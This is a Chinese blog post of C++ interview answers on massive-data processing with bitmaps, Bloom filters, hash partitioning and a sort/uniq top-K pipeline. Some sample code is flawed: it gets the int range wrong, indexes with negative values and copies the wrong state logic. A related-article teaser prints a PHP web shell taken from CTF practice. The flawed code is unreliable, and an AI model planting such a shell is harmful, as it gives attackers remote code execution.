海量数据面试题

目录

前言

什么是海量数据

 一、利用位图解决

二、利用布隆过滤器解决

三、利用哈希切割解决


前言

在大数据时代,海量数据处理已成为技术领域中的一项重要课题。无论是企业级应用、互联网平台,还是人工智能和机器学习的实现,都离不开对大规模数据的高效处理。而对于C++开发者来说,如何在面对海量数据时保证系统的高效性和可扩展性,已经成为面试中常见的考察内容。

C++作为一种高性能的编程语言,凭借其接近硬件的操作和精细的内存管理,常常被用于构建对性能要求极高的系统。在海量数据的处理过程中,C++开发者需要不仅具备扎实的基础知识,还需掌握一些特殊的算法和数据结构,以应对各种挑战性的问题。

本篇文章将围绕海量数据处理相关的C++面试题展开,涵盖常见的数据结构、算法优化、内存管理等方面。通过深入分析和解答这些面试题,希望能够帮助读者提升在大规模数据处理中的应对能力,进而在面试中脱颖而出。

什么是海量数据

所谓海量数据,通常指的是超出传统数据库和计算系统处理能力的数据量。这些数据集通常规模庞大,数据类型复杂,可能包含结构化、半结构化和非结构化数据。根据不同的场景,海量数据的规模可以从几GB到几TB,甚至达到PB级别。

面对如此庞大的数据量,传统的单机计算和存储方式往往力不从心,因此需要采用分布式处理框架、数据压缩技术、数据流处理等方法来有效应对。

就比如说,我们熟知一个int类型占4字节空间大小,通过计算4G,内存大概可以存储10亿个int类型的数据,但是如果有人问你,怎么存储100亿呢?现在的电脑是以16G,32G运行内存为主,对于处理100亿个int类型数据,那么就不可以处理。

这不仅仅是空间上的问题,还伴随着时间上的问题。

所以就对于此问题就有了相应的解决方法:

  • 对于时间问题,就可以采用位图、布隆过滤器等数据结构来解决。
  • 对于空间问题,就可以采用哈希切割等方法,将大规模的数据转换成小规模的数据逐个击破。

 一、利用位图解决

简单介绍一下位图

对于传统的存储方式,一般是对于整数i,相关信息会存放到容器第i个位置,但是位图不一样,他是对于整数i,相关信息存放到第i个比特位上。所以这就大大减少了时间与空间的消耗。

题目一:给定100亿个整数,设计算法找到只出现一次的整数。

刚才我们也举例了,真要处理起来还真就是不行的,个人的电脑对空间,时间都无法对应解决问题。

但是int的范围是: -2^31到2^32 - 1。所以我们就可以创建一个”大小“(单位为比特)为2^32大小的空间,以可以存储int的所有相关数据。所以我们标记整数时可以将其分为三种状态

  1. 出现0次。
  2. 出现1次。
  3. 出现2次及以上。

一个比特位只能表示两种状态,而要表示三种状态我们至少需要用两个比特位,因此我们可以开辟两个位图,这两个位图的对应位置分别表示该位置整数的第一个位和第二个位。

我们可以将着三种状态分别定义为00、01、10,此时当我们读取到重复的整数时,就可以让其对应的两个位按照00→01→10的顺序进行变化,最后状态是01的整数就是只出现一次的整数。

#include <iostream>
#include <vector>
#include <assert.h>
#include <bitset>
using namespace std;int main()
{//此处应该从文件中读取100亿个整数,但是为了方便演示,就假设已经读取了vector<int> v{ 12, 33, 4, 2, 7, 3, 32, 3, 3, 12, 21 };// 假设v里面有100亿个整形数据//在堆上申请空间bitset<4294967295>* bs1 = new bitset<4294967295>;bitset<4294967295>* bs2 = new bitset<4294967295>;for (auto e : v){if (!bs1->test(e) && !bs2->test(e)) //00->01{bs2->set(e);}else if (!bs1->test(e) && bs2->test(e)) //01->10{bs1->set(e);bs2->reset(e);}else if (bs1->test(e) && !bs2->test(e)) //10->10{//不做处理}else //11(不会出现这种,因为我们设定上就是最大为10){assert(false);}}// 统计那个整数出现了一次for (size_t i = 0; i < 4294967295; i++){if (!bs1->test(i) && bs2->test(i)) //01cout << i << endl;}return 0;
}

需要注意以下几点:

  1. 存储100亿个整数大概需要40G的内存空间,因此题目中的100亿个整数肯定是存储在文件当中的,代码中直接从vector中读取数据是为了方便演示,我也不能真正去读取100亿个数据,那时间也需要很长。
  2. 为了能映射所有整数,位图的大小必须开辟为2^32位,也就是代码中的4294967295,因此开辟一个位图大概需要512M的内存空间,两个位图就要占用1G的内存空间,所以代码中选择在堆区开辟空间,若是在栈区开辟则会导致栈溢出。
  3. 最后的检查中循环写的是:for (size_t i = 0; i < 4294967295; i++),而不是for (int i = INT_MIN; i < INT_MAX; i++),就是因为位图是无符号类型,不支持负数的表示。如果你想传递负数,需要处理负数的映射。

题目二:给两个文件,分别有100亿个整数,我们只有1G内存,如何找到两个文件的交集?

首先明确一点创建一个存整形的位图需要512M的内存。 

 方法一:仅使用512M

  • 第一个文件中的数据,我们将其转化为位图,并存储在内存中。
  • 第二个文件中的数据,我们读取其中的所有整数,然后判断在不在位图中,在就是交集,不在就不是交集。

方法二:刚好使用1G

  • 文件 1: 第一个文件中的数据,我们将其转化为位图,并存储在内存中。
  • 文件 2: 第二个文件中的数据,我们按照同样的方式逐块处理。

每次加载文件 1 的一个块并标记其位图后,我们可以将文件 2 的当前块与文件 1 的位图进行比较,计算交集。具体方法是,遍历文件 2 的当前块中的每个整数,并检查文件 1 中的位图对应位置是否为 1。如果是,说明该整数在两个文件中都出现了,这就是交集的一部分。

说明一下: 对于32位的整型,无论待处理的整数个数是多少,开辟的位图都必须有2^32个比特位,也就是512M,因为我们要保证每一个整数都能够映射到位图当中,因此这里位图的空间的消耗是不可避免的,即便位图在规定上不允许存负数。

题目三:一个文件有100亿个整数,1G内存,设计算法找到出现次数不超过2次的所有整数。

该题目和题目一的方法是一样的,在该题目中我们标记整数时可以将其分为四种状态:

  1. 出现0次。
  2. 出现1次。
  3. 出现2次。
  4. 出现2次以上。

一个整数要表示四种状态也是只需要两个位就够了,此时当我们读取到重复的整数时,就可以让其对应的两个位按照00→01→10→11的顺序进行变化,最后状态是01或10的整数就是出现次数不超过2次的整数。

#include <iostream>
#include <vector>
#include <assert.h>
#include <bitset>
using namespace std;int main()
{//此处应该从文件中读取100亿个整数,但是为了方便演示,就假设已经读取了vector<int> v{ -12, 33, 4, 2, 7, 3, 32, 3, 3, 12, 21 };// 假设v里面有100亿个整形数据//在堆上申请空间bitset<INT_MAX>* bs1 = new bitset<INT_MAX>;bitset<INT_MAX>* bs2 = new bitset<INT_MAX>;for (auto e : v){if (!bs1->test(e) && !bs2->test(e)) //00->01{bs2->set(e);}else if (!bs1->test(e) && bs2->test(e)) //01->10{bs1->set(e);bs2->reset(e);}else if (bs1->test(e) && !bs2->test(e)) //10->10{//不做处理}else //11(不会出现这种,因为我们设定上就是最大为10){assert(false);}}// 统计那个整数出现了一次for (size_t i = 0; i < 4294967295; i++){if ((!bs1->test(i) && bs2->test(i)) || (bs1->test(i) && !bs2->test(i))) //01或10cout << i << endl;}return 0;
}

二、利用布隆过滤器解决

简单介绍一下布隆过滤器

布隆过滤器底层其实是套用的位图,但是在此基础上对第i个位置的相关信息存放到第i个比特位的设定进行了修改,改为了:第i个位置的相关信息存放到第X,Y,Z......(X,Y,Z是通过多个哈希函数计算而得,越多其误差和错误越小)个比特位。

给两个文件,分别有100亿个string,我们只有1G内存,如何找到两个文件的交集?给出近似算法。

 题目要求给出近视算法,也就是允许存在一些误判,那么我们就可以用布隆过滤器。

  • 文件 1: 第一个文件中的数据,我们将其转化为布隆过滤器,并存储在内存中。
  • 文件 2: 第二个文件中的数据,我们按照同样的方式逐块处理。

每次加载文件 1 的一个块并标记其布隆过滤器后,我们可以将文件 2 的当前块与文件 1 的布隆过滤器进行比较,计算交集。具体方法是,遍历文件 2 的当前块中的每个string,并检查文件 1 中的布隆过滤器对应位置是否为 1。如果是,说明该string在两个文件中都出现了,这就是交集的一部分。

扩展:如何扩展BloomFilte使得它支持删除元素的操作

如果存放的基数大到一定程度时,那么错误是无法避免的。

所以一般不支持删除,删除一个值可能会影响其他值()原因如下:

  • 因为布隆过滤器判断一个元素存在时可能存在误判,因此无法保证要删除的元素确实在布隆过滤器当中,此时将位图中对应的比特位清0会影响其他元素。比方说,"qbs"(只出现一次存放在第20个比特位,"sss"(出现多次)也在此,如果删除"qbs",但是第20个比特位--后不为0,还是会判断"qbs"依旧存在,出现误判。
  • 此外,就算要删除的元素确实在布隆过滤器当中,也可能该元素映射的多个比特位当中有些比特位是与其他元素共用的,此时将这些比特位清0也会影响其他元素。

如果要让布隆过滤器支持删除,也可以,比方说:用多个位标记一个值,存引用计数,但是这样话,空间消耗的就变大了。得不偿失!!!

三、利用哈希切割解决

给两个文件,分别有100亿个string,我们只有1G内存,如何找到两个文件的交集?给出精确算法。

 还是刚才那道题目,但现在要求给出精确算法,那么就不能使用布隆过滤器了,此时需要用到哈希切分。

  • 首先需要估算一下这里一个文件的大小,便于确定将一个文件切分为多少个小文件。
  • 假设平均每个string为20字节,那么100亿个strng就是200G,由于我们只有1G内存,这里可以考虑将一个文件切分成400个小文件。
  • 我们决定要分割成400个小文件后,就需要创建400个文件,然后先访问前1G的数据,然后通过哈希函数,计算其应该被分到第几个文件。
  • 需要注意的是,对于两个文件的分割必须使用同一个哈希函数。

这里就拿其中一个文件举例 

 

切割完成后,每一个小文件都是512M的数据,那么我们就可以通过上面的思路求其交集

 

那各个小文件之间又应该如何找交集呢? 

  • 经过哈希切分后,理论上每个小文件的平均大小约为 512MB,因此我们可以将其中一个小文件加载到内存,并将其内容存入一个 set 容器中。然后,遍历另一个小文件中的查询(string),依次判断每个查询是否存在于 set 容器中。如果存在,则该查询为交集元素;如果不存在,则不是交集。
  • 然而,由于哈希切分并不一定会将文件平均切分,有些小文件的大小可能仍然超过 1GB。在这种情况下,如果与之对应的另一个小文件的大小小于 1GB,我们可以将该小文件加载到内存进行查询,因为我们只需要将其中一个小文件加载到内存。
  • 但如果两个小文件的大小都大于 1GB,我们可以考虑对这两个小文件再进行一次切分,将它们切成更小的文件。这一过程与之前对 A 文件和 B 文件的切分方法类似,具体就是通过哈希函数将其再次分割成多个更小的文件,然后分别加载其中的一个小文件到内存进行交集计算。

本质这里在进行哈希切分时,就是将这些小文件看作一个个的哈希桶,将大文件中的string通过哈希函数映射到这些哈希桶中,如果是相同的string,则会产生哈希冲突进入到同一个小文件中。

给一个超过100G大小的log file, log中存着IP地址, 设计算法找到出现次数最多的IP地址? 如何找到top K的IP?如何直接用Linux-系统命令实现?

该题目同样需要用到哈希切分,切分步骤如下:

  • 我们将这个log file叫做A文件,由于A文件的大小超过100G,这里可以考虑将A文件切分成200个小文件,确保每一个文件大小近似为512M。
  • 在切分时,我们必须全程使用同一个哈希函数进行哈希切分,通过哈希函数将A文件中的每个IP地址转换成一个整型 i(0 ≤i≤ 199),然后将这个IP地址写入到小文件Ai当中。
  • 由于哈希切分时使用的是同一个哈希函数,因此相同的IP地址计算出的i值是相同的,最终这些相同的IP地址就会进入到同一个Ai小文件当中。

完成哈希切割后得到的200个小文件,理论上就能够加载到1G内存当中了,但是还会存在极端的情况:可能存在某个小文件的大小仍然大于1G,那么就可以对其再进行一次哈希切分,总之让最后切割出来的所有小文件都能确保可以加载到内存。

  • 现在要找到出现次数最多的IP地址,就可以分别将各个小文件加载到内存中, 然后用一个map<string, int>容器统计出每个小文件中各个IP地址出现的次数,然后比对各个小文件中出现次数最多的IP地址,最终就能够得到log file中出现次数最多的IP地址。
  • 如果要找到出现次数top K的IP地址,可以先将一个小文件加载到内存中,选出小文件中出现次数最多的K个IP地址建成一个小堆,然后再依次比对其他小文件中各个IP地址出现的次数,如果某个IP地址出现的次数大于堆顶IP地址出现的次数,则将该IP地址与堆顶的IP地址进行交换,然后再进行一次向下调整,使其仍为小堆,最终比对完所有小文件中的IP地址后,这个小堆当中的K个IP地址就是出现次数top K的IP地址。

那么在Linux下如何进行操作呢?需要使用那些指令呢?

我们也可以用sort log_file | uniq -c | sort -nrk1,1 | head -K命令选取出现次数top K的IP地址。

比如对于以下log_file文件:

我们可以先使用sort命令对log_file文件进行排序。 

sort log_file

 然后再使用uniq命令统计每个IP地址出现的次数。

sort log_file | uniq -c

由于刚才使用sort命令只是以字母序进行文本排序,现在统计出了每个IP地址出现的次数,所以需要再次使用sort命令按照每个IP底层出现的次数进行反向排序。 

sort log_file | uniq -c | sort -nrk1,1

 最后再使用head命令选出出现次数top K的IP地址即可,比如我们这里选择的是top 2的IP地址。、

sort log_file | uniq -c | sort -nrk1,1 | head -2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/474375.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Diff 算法的误判

起源&#xff1a; 设想一下&#xff0c;假如你桌面上的文件都没有文件名&#xff0c;取而代之的是&#xff0c;你使用通过文件的位置顺序即index来区分它们———第一个文件&#xff0c;第二个文件&#xff0c;以此类推。也许这种方式可行&#xff0c;可是一旦你删除了其中的一…

基于Java Springboot幼儿园管理系统

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

Misc_01转二维码(不是二进制)

例题ctfhub/隐写v2.0 打开是一张图片 文件分离得到zip&#xff0c;爆破密码得到7878 打开得到0和1&#xff0c; !!!不是二进制转图片&#xff0c;直接是二维码 缩小能看到 000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000…

5.4.2-1 编写Java程序在HDFS上创建文件

本次实战涉及使用Java操作Hadoop HDFS&#xff0c;包括创建文件、判断文件存在性及异常处理。通过手动添加依赖、启动HDFS服务&#xff0c;成功在HDFS上创建和检查文件。进一步探索了文件操作的最佳实践&#xff0c;如检查文件存在性以避免重复创建&#xff0c;以及处理HDFS安全…

MySQL时间字段TIMESTAMP和DATETIME

SELECT global.time_zone, session.time_zone;查询数据库的全局时区和当前会话的时区信息&#xff0c;一般如果使用navicat进行连接&#xff0c;没有显示指定时区信息&#xff0c;会默认使用system_time_zone。 可以使用 SET time_zone 08:00; SELECT global.time_zone, sess…

Android集成FCM(Firebace Cloud Messaging )

集成FCM官方文档 Firebace主页面 将 Firebase 添加到您的 Android 应用 1、进入Firebace页面&#xff0c;创建自己的项目 2、点击自己创建好的项目&#xff0c;在右侧选择Cloud Messaging 3、点击Android去创建 google-services.json 4、将下载的 google-services.json 文件…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

【JavaEE初阶 — 多线程】定时器的应用及模拟实现

目录 1. 标准库中的定时器 1.1 Timer 的定义 1.2 Timer 的原理 1.3 Timer 的使用 1.4 Timer 的弊端 1.5 ScheduledExecutorService 2. 模拟实现定时器 2.1 实现定时器的步骤 2.1.1 定义类描述任务 定义类描述任务 第一种定义方法 …

一文了解 inductive bias(归纳偏好)

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 归纳偏好&#xff08;Inductive Bias&#xff09;是机器学习中的一个非常基础但又非常重要的概念。为了更好地理解它&#xff0c;我们先从 “归纳” 和 “偏好” 这两个词开始讲解。 什么是归纳&#x…

【电子设计】按键LED控制与FreeRTOS

1. 安装Keilv5 打开野火资料,寻找软件包 解压后得到的信息 百度网盘 请输入提取码 提取码:gfpp 安装526或者533版本都可以 下载需要的 F1、F4、F7、H7 名字的 DFP pack 芯片包 安装完 keil 后直接双击安装 注册操作,解压注册文件夹后根据里面的图示步骤操作 打开说明 STM…

ROS Action

在 ROS 中&#xff0c;Action 是一种支持长时间异步任务的通信机制。与 Service 不同&#xff0c;Action 允许客户端发起一个请求&#xff0c;并在任务执行的过程中不断接收反馈&#xff0c;直到任务完成。这种机制非常适用于可能需要较长时间来完成的任务&#xff0c;比如机器…

Siglus引擎 Unpack | 未完待续

前言 未完待续。 代码在这里&#xff1a;https://github.com/N0zoM1z0/SiglusEngine-Extract 以后随时会更新。&#xff08;&#xff09; 因为我是选择直接逆向游戏引擎&#xff0c;在无源码&#xff0c;不hook的情况下硬逆Siglus…… 路漫漫。。。 read.sav 可以直接逆Sigl…

Windows docker下载minio出现“Using default tag: latestError response from daemon”

Windows docker下载minio出现 Using default tag: latest Error response from daemon: Get "https://registry-1.docker.io/v2/": context deadline exceeded 此类情况&#xff0c;一般为镜像地址问题。 {"registry-mirrors": ["https://docker.re…

ue中使用webui有效果白色拖动条 有白边

这种类型&#xff0c;分析发现跟ue没有关系 是网页代码的问题 可以在外头加个overflow: hidden; <body style"height: 100%; margin: 0;overflow: hidden;">完美解决

记录java Collections.sort踩的坑

前言 java Collections.sort 排序失效&#xff1f;为什么会排序失效呢&#xff1f; 需求和问题 需求&#xff1a;获取指定文件夹下的所有文件&#xff0c;并且按照修改时间顺序从大到小排序&#xff0c;如果修改时间相同&#xff0c;则按照创建时间从大到小排序 // 输入lis…

MODBUS TCP转CANOpen网关

Modbus TCP转CANopen网关 型号&#xff1a;SG-TCP-COE-210 产品用途 本网关可以实现将CANOpen接口设备连接到MODBUS TCP网络中&#xff1b;并且用户不需要了解具体的CANOpen和Modbus TCP 协议即可实现将CANOpen设备挂载到MODBUS TCP接口的 PLC上&#xff0c;并和CANOpen设备…

为何数据库推荐将IPv4地址存储为32位整数而非字符串?

目录 一、IPv4地址在数据库中的存储方式&#xff1f; 二、IPv4地址的存储方式比较 &#xff08;一&#xff09;字符串存储 vs 整数存储 &#xff08;二&#xff09;IPv4地址"192.168.1.8"说明 三、数据库推荐32位整数存储方式原理 四、存储方式对系统性能的影响…

《译文》2024年11月数维杯国际大学生数学建模挑战赛题目

# 赛题正式发布 2024年第十届数维杯国际大学生数学建模挑战赛顺利开赛&#xff0c;竞赛开始时间为北京时间2024年11月15日09:00至北京时间2024年11月19日09:00&#xff0c;共计4天&#xff0c;竞赛题目正式发布&#xff0c;快来一起围观&#xff0c;你认为今年的哪个题目更具有…

机器学习(贝叶斯算法,决策树)

朴素贝叶斯分类 贝叶斯分类理论 假设现有两个数据集&#xff0c;分为两类 我们现在用p1(x,y)表示数据点(x,y)属于类别1(图中红色圆点表示的类别)的概率&#xff0c;用p2(x,y)表示数据点(x,y)属于类别2(图中蓝色三角形表示的类别)的概率&#xff0c;那么对于一个新数据点(x,y)…

【会话文本nlp】对话文本解析库pyconverse使用教程版本报错、模型下载等问题解决超参数调试

前言&#xff1a; 此篇博客用于记录调用pyconverse库解析对话文本时遇到的问题与解决思路&#xff0c;以供大家参考。 文章目录 pycoverse介绍代码github链接问题解决1 [cannot import name ‘cached_download‘ from ‘huggingface_hub‘ 问题解决](https://blog.csdn.net/wei…